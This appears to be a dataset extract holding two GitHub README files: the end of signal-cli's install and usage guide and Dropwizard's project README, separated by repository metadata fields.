wget https://github.com/AsamK/signal-cli/releases/download/v"${VERSION}"/signal-cli-"${VERSION}".tar.gz sudo tar xf signal-cli-"${VERSION}".tar.gz -C /opt sudo ln -sf /opt/signal-cli-"${VERSION}"/bin/signal-cli /usr/local/bin/ ``` You can find further instructions on the Wiki: - [Quickstart](https://github.com/AsamK/signal-cli/wiki/Quickstart) ## Usage For a complete usage overview please read the [man page](https://github.com/AsamK/signal-cli/blob/master/man/signal-cli.1.adoc) and the [wiki](https://github.com/AsamK/signal-cli/wiki). Important: The ACCOUNT is your phone number in international format and must include the country calling code. Hence it should start with a "+" sign. (See [Wikipedia](https://en.wikipedia.org/wiki/List_of_country_calling_codes) for a list of all country codes.) * Register a number (with SMS verification) signal-cli -a ACCOUNT register You can register Signal using a landline number. In this case you can skip SMS verification process and jump directly to the voice call verification by adding the `--voice` switch at the end of above register command. Registering may require solving a CAPTCHA challenge: [Registration with captcha](https://github.com/AsamK/signal-cli/wiki/Registration-with-captcha) * Verify the number using the code received via SMS or voice, optionally add `--pin PIN_CODE` if you've added a pin code to your account signal-cli -a ACCOUNT verify CODE * Send a message ```sh signal-cli -a ACCOUNT send -m "This is a message" RECIPIENT ``` * Pipe the message content from another process. uname -a | signal-cli -a ACCOUNT send --message-from-stdin RECIPIENT * Receive messages signal-cli -a ACCOUNT receive **Hint**: The Signal protocol expects that incoming messages are regularly received (using `daemon` or `receive` command). This is required for the encryption to work efficiently and for getting updates to groups, expiration timer and other features. ## Storage The password and cryptographic keys are created when registering and stored in the current users home directory: $XDG_DATA_HOME/signal-cli/data/ $HOME/.local/share/signal-cli/data/ ## Building This project uses [Gradle](http://gradle.org) for building and maintaining dependencies. If you have a recent gradle version installed, you can replace `./gradlew` with `gradle` in the following steps. 1. Checkout the source somewhere on your filesystem with git clone https://github.com/AsamK/signal-cli.git 2. Execute Gradle: ./gradlew build 2a. Create shell wrapper in *build/install/signal-cli/bin*: ./gradlew installDist 2b. Create tar file in *build/distributions*: ./gradlew distTar 2c. Create a fat tar file in *build/libs/signal-cli-fat*: ./gradlew fatJar 2d. Compile and run signal-cli: ```sh ./gradlew run --args="--help" ``` ### Building a native binary with GraalVM (EXPERIMENTAL) It is possible to build a native binary with [GraalVM](https://www.graalvm.org). This is still experimental and will not work in all situations. 1. [Install GraalVM and setup the environment](https://www.graalvm.org/docs/getting-started/#install-graalvm) 2. Execute Gradle: ./gradlew nativeCompile The binary is available at *build/native/nativeCompile/signal-cli* ## FAQ and Troubleshooting For frequently asked questions and issues have a look at the [wiki](https://github.com/AsamK/signal-cli/wiki/FAQ). ## License This project uses libsignal-service-java from Open Whisper Systems: https://github.com/WhisperSystems/libsignal-service-java Licensed under the GPLv3: http://www.gnu.org/licenses/gpl-3.0.html
0
dropwizard/dropwizard
A damn simple library for building production-ready RESTful web services.
2011-01-19T19:52:29Z
null
Dropwizard ========== [![Build](https://github.com/dropwizard/dropwizard/workflows/Java%20CI/badge.svg)](https://github.com/dropwizard/dropwizard/actions?query=workflow%3A%22Java+CI%22) [![Quality Gate Status](https://sonarcloud.io/api/project_badges/measure?project=dropwizard_dropwizard&metric=alert_status)](https://sonarcloud.io/dashboard?id=dropwizard_dropwizard) [![Maven Central](https://maven-badges.herokuapp.com/maven-central/io.dropwizard/dropwizard-core/badge.svg)](https://maven-badges.herokuapp.com/maven-central/io.dropwizard/dropwizard-core/) [![Javadocs](https://javadoc.io/badge/io.dropwizard/dropwizard-project.svg?color=brightgreen)](https://javadoc.io/doc/io.dropwizard/dropwizard-project) [![Documentation Status](https://readthedocs.org/projects/dropwizard/badge/?version=stable)](https://www.dropwizard.io/en/stable/?badge=stable) [![Maintainability](https://api.codeclimate.com/v1/badges/11a16ea08c8b5499e2b9/maintainability)](https://codeclimate.com/github/dropwizard/dropwizard/maintainability) [![Reproducible Builds](https://img.shields.io/badge/Reproducible_Builds-ok-green?labelColor=blue)](https://github.com/jvm-repo-rebuild/reproducible-central#io.dropwizard:dropwizard-core) [![Contribute with Gitpod](https://img.shields.io/badge/Contribute%20with-Gitpod-908a85?logo=gitpod)](https://gitpod.io/#https://github.com/dropwizard/dropwizard) *Dropwizard is a sneaky way of making fast Java web applications.* It's a little bit of opinionated glue code which bangs together a set of libraries which have historically not sucked: * [Jetty](http://www.eclipse.org/jetty/) for HTTP servin'. * [Jersey](https://jersey.github.io/) for REST modelin'. * [Jackson](https://github.com/FasterXML/jackson) for JSON parsin' and generatin'. * [Logback](http://logback.qos.ch/) for loggin'. * [Hibernate Validator](http://hibernate.org/validator/) for validatin'. * [Metrics](http://metrics.dropwizard.io) for figurin' out what your application is doin' in production. * [JDBI](http://www.jdbi.org) and [Hibernate](http://www.hibernate.org/orm/) for databasin'. * [Liquibase](http://www.liquibase.org/) for migratin'. Read more at [dropwizard.io](http://www.dropwizard.io). Want to contribute to Dropwizard? --- Before working on the code, if you plan to contribute changes, please read the following [CONTRIBUTING](CONTRIBUTING.md) document. Need help or found an issue? --- When reporting an issue through the [issue tracker](https://github.com/dropwizard/dropwizard/issues?state=open) on GitHub or sending an email to the [Dropwizard User Google Group](https://groups.google.com/forum/#!forum/dropwizard-user) mailing list, please use the following guidelines: * Check existing issues to see if it has been addressed already * The version of Dropwizard you are using * A short description of the issue you are experiencing and the expected outcome * Description of how someone else can reproduce the problem * Paste error output or logs in your issue or in a Gist. If pasting them in the GitHub issue, wrap it in three backticks: ``` so that it renders nicely * Write a unit test to show the issue! Sponsors -------- Dropwizard is generously supported by some companies with licenses and free accounts for their products. ### JetBrains ![JetBrains](docs/source/about/jetbrains.png) [JetBrains](https://www.jetbrains.com/) supports our open source project by sponsoring some [All Products Packs](https://www.jetbrains.com/products.html) within their [Free Open Source License](https://www.jetbrains.com/buy/opensource/) program.
0